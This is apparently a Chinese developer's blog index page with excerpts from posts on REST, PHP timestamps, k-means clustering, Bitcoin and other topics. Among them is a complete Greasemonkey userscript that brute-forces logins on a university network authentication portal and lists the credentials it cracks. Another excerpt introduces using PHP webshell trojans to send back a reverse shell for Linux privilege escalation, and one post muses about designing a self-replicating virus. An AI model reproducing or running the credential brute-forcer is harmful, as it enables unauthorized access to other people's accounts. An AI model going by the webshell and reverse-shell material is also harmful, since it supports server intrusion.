ibookbook-restful接口
理解REST软件架构[转]
一种思维方式影响了软件行业的发展。REST软件架构是当今世界上最成功的互联网的超媒体分布式系统。它让人们真正理解我们的网络协议HTTP本来面貌。它正在成为网络服务的主流技术,同时也正在改变互联网的网络软件开发的全新思维方式。AJAX技术和Rails框架把REST软件架构思想真正地在实际中很好表现出来。今天微软也已经应用REST并且提出把我们现有的网络变成为一个语义网,这种网络将会使得搜索更加智能化。
REST与HTTP协议
REST软件架构是由Roy Thomas Fielding博士在2000年首次提出的。他为我们描绘了开发基于互联网的网络软件的蓝图。REST软件架构是一个抽象的概念,是一种
病毒->失控->智能
从四川比赛回来到现在也已经有快半年的时间了,写篇文章来总结下关于这个天马行空的病毒整个架构(暂叫TJ)。
首先,放几个设定:
1.冯诺依曼体系只能真正地仿真个体应该是神经元,整个智能系统中不会用冯诺依曼体系进行中心控制,而是采用失控,继而所有的失控神经元的一个宏观表示。
2.如果将一个冯诺依曼体系的电脑比作一个神经元,那么世界上现有的网络节点个数还木有到能够失控继而宏观反应出智能特性的条件。
3.由于2的原因,所以必须在一台电脑上出现很多个神经元,或者很多个个体。
于是本个设计出现了,首先,和传统的病毒不同,TJ病毒自带编译器,就相当于细胞核,能够进行DNA复制转录一样。
然后最核心要解决的问
AJAXCDR的使用经验
本来网上找了一堆flash跨域的,结果木有一个能正常。。。
反复总结原因,发现实验这个东西不能用本地HTML实验,必须要在服务器环境中实验,否则crossdomain.xml可能会不正常。。
http://blog.s135.com/ajaxcdr/3/1/
[转]php时间戳和正常时间显示的转换
用date(“Y-m-d H:i:s”,$time)就可以了
mysql里面存的时间是时间戳,10位数的
怎么才能用函数转换成正常的时间函数输出?
time();
是获得当前时间,但获得的是一整型
可以对此进行格式化
date(“Y-m-d H:i:s”, time()) ;
这样连时,分秒一起显示
date(“Y-m-d “, time()); 只年示年月日
详细可以去看http://hi.baidu.com/nbcc/blog/item/335376d97271342410df9b49.html
SQL语句也有时间函数,可以去看这里
http://user.qzone.qq.com/120
[转]你还敢使用window.open弹广告吗?
在任何一个希望对用户友好一些的web页面中,弹出窗口这个功能基本上是报废了。别说真要使用上这功能,甚至于想一想都觉得这个念头恶心、邪恶。除了任意一个浏览器工具栏能将其拦截外,Windows XP SP2以后已经在IE里内置了对弹出窗口的阻止。这真是web开发中一个无比搞笑,而又尴尬的功能。
window.open作为一个普通的浏览器API接口,因为一小撮人的滥用,造成了今天如同过街老鼠人人喊打的局面。又由于拦截弹出窗口的工具、插件过于普及,现在真正希望合理使用一下这个功能的网页,面对众多的拦截器,也都不得不放弃之。当然还有很多政府部门的网站,喜欢使用这个功能来弹出通告,并且不辞辛劳的提
webAuth密码暴力破解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 | // ==UserScript== // @name webAuth密码暴力破解 // @include http://192.168.2.253/webAuth/* // @description 破解 // @version 2.0 // @author Twwy // ==/UserScript== var tmpUsername; var tmpPassword; document.getElementsByTagName("body")[0].style.overflow = 'visible'; scanUi = document.createElement("li"); scanUi.innerHTML = '状态:<span id="state">未开始破解</span><br /><span style="float:left;padding-left:52px;">用户名列表:</span><span style="float:right;padding-right:52px;">密码列表:</span><br /><textarea rows="3" cols="20" id="userList"></textarea> <textarea rows="3" cols="20" id="pwdList"></textarea><br /><button type="button" id="startButton" >开始破解!</button><button type="button" id="logout" >登陆注销</button><br/>成功信息:<br/><span id="successInfo"></span>'; scanUi.style.border = '1px solid rgb(51, 51, 51)'; scanUi.style.borderTop = '0px solid rgb(51, 51, 51)'; scanUi.style.padding = '10px'; scanUi.style.textAlign = 'center'; document.getElementsByTagName("ul")[0].appendChild(scanUi); document.getElementById("startButton").addEventListener('click', function(){ document.getElementById("state").innerHTML = '正在将列表转换成数组...'; userList = document.getElementById("userList").value.split('\n'); pwdList = document.getElementById("pwdList").value.split('\n'); //alert(userList); //alert(pwdList); function scan(username,pwd){ param = 'username='+username param += '&passwd=********'; param += '&pwd='+pwd; logout(); /*GM_xmlhttpRequest({ method: 'GET', url: 'http://www.baidu.com' });*/ GM_xmlhttpRequest({ method: 'POST', url: 'http://192.168.2.253/webAuth', headers: { "Content-Type": "application/x-www-form-urlencoded" }, data: param, onload: function func(responseDetails){ //alert(responseDetails.responseText); if (responseDetails.responseText.match('<title>杭州电子科技大学上网认证系统</title>') != null){ return wrongFunction(); }else{ if (responseDetails.responseText.match('var title="认证失败') != null){ return wrongFunction(); }else{ return rightFunction(); } } function rightFunction(){ paramArray = param.split('&'); document.getElementById("state").innerHTML = '尝试成功'; nice = document.createElement("span"); br = document.createElement("br"); nice.innerHTML = '成功破解:'+paramArray[0].split('=')[1]+'密码:'+paramArray[2].split('=')[1]; document.getElementById("successInfo").appendChild(nice); document.getElementById("successInfo").appendChild(br); } function wrongFunction(){ document.getElementById("state").innerHTML = '尝试失败'; } } }); } for(i=0;i<userList.length;i++){ for(j=0;j<pwdList.length;j++){ document.getElementById("state").innerHTML = '正在尝试'+userList[i]+'/'+pwdList[j]; setTimeout(function(){scan(userList[i],pwdList[j])},"1000");; /*if (scan(userList[i],pwdList[j])) { document.getElementById("state").innerHTML = '成功'+userList[i]+'/'+pwdList[j]; nice = document.createElement("span"); br = document.createElement("br"); nice.innerHTML = '成功破解:'+userList[i]+'密码:'+pwdList[j]; document.getElementById("successInfo").appendChild(nice); document.getElementById("successInfo").appendChild(br); break; }else{ document.getElementById("state").innerHTML = '失败'+userList[i]+'/'+pwdList[j]; }*/ } } //scan('40912','w40912'); }, false); document.getElementById("logout").addEventListener('click', function(){ logout(); }, false); function logout(){ GM_xmlhttpRequest({ method: 'GET', url: 'http://192.168.2.253/logout/' }); } |
k均值(k means)聚类
本来k均值聚类一直在眼前晃悠,觉得心烦,就去看了下,发现名字这么忽悠,原来就这么一东西。
1.设定一个K值,即要分成K个类。
2.每个类设定一个中心(这个初始值设置的好坏直接影响结果)
3.计算每个点和各个中心的欧式距离(其实就是和各个中心差的平方和开根号)
4.将每个点归到和类中心欧式距离最小的那个。
5.归完类后,计算每个类的平均值使之成为新的类中心,然后跳回步骤3,这个过程称之为迭代。
直到满足某一准则,聚类才会完成,一般来说就是类中心变化小于某个值、欧式距离总和变化小于某个值。
然后k均值聚类缺点:
1.分类数目不会变化。
2.只能处理数值属性。
3.对初始值敏感。
4.不适合处理离散
[转]Bitcoin 的基本原理
昨天读到了 Bitcoin 的中文介绍,觉得非常有意思。不过上面这篇文章解释的非常不靠谱,我花了一晚上去Bitcoin的官方网站 仔细研究了一下,总算理解了其原理。感觉非常有启发,尤其是对虚拟货币的流通和发行有许多借鉴意义。今天写这篇 Blog 理一下。
什么是货币呢?货币就是商品(包括服务)交换的媒介。现在我们通行的货币是由有信誉的银行发行的,基本上是由其信誉来担保的。只要用的人都认可,那么我们就可以用它来交易。货币有一定的保值特性,我把我的劳动/服务/所有的商品换成货币后,银行担保我在日后的某一天,我还可以用它交换会差不多等值的东西。这个保证的前提是,银行不会滥发新的货币以及大家都信任这
[转]Linux下通过WebShell反弹Shell的技巧
Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。
Linux 提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法 利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。
13.2.1 使用PHP WebShell木马反弹Shell
一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中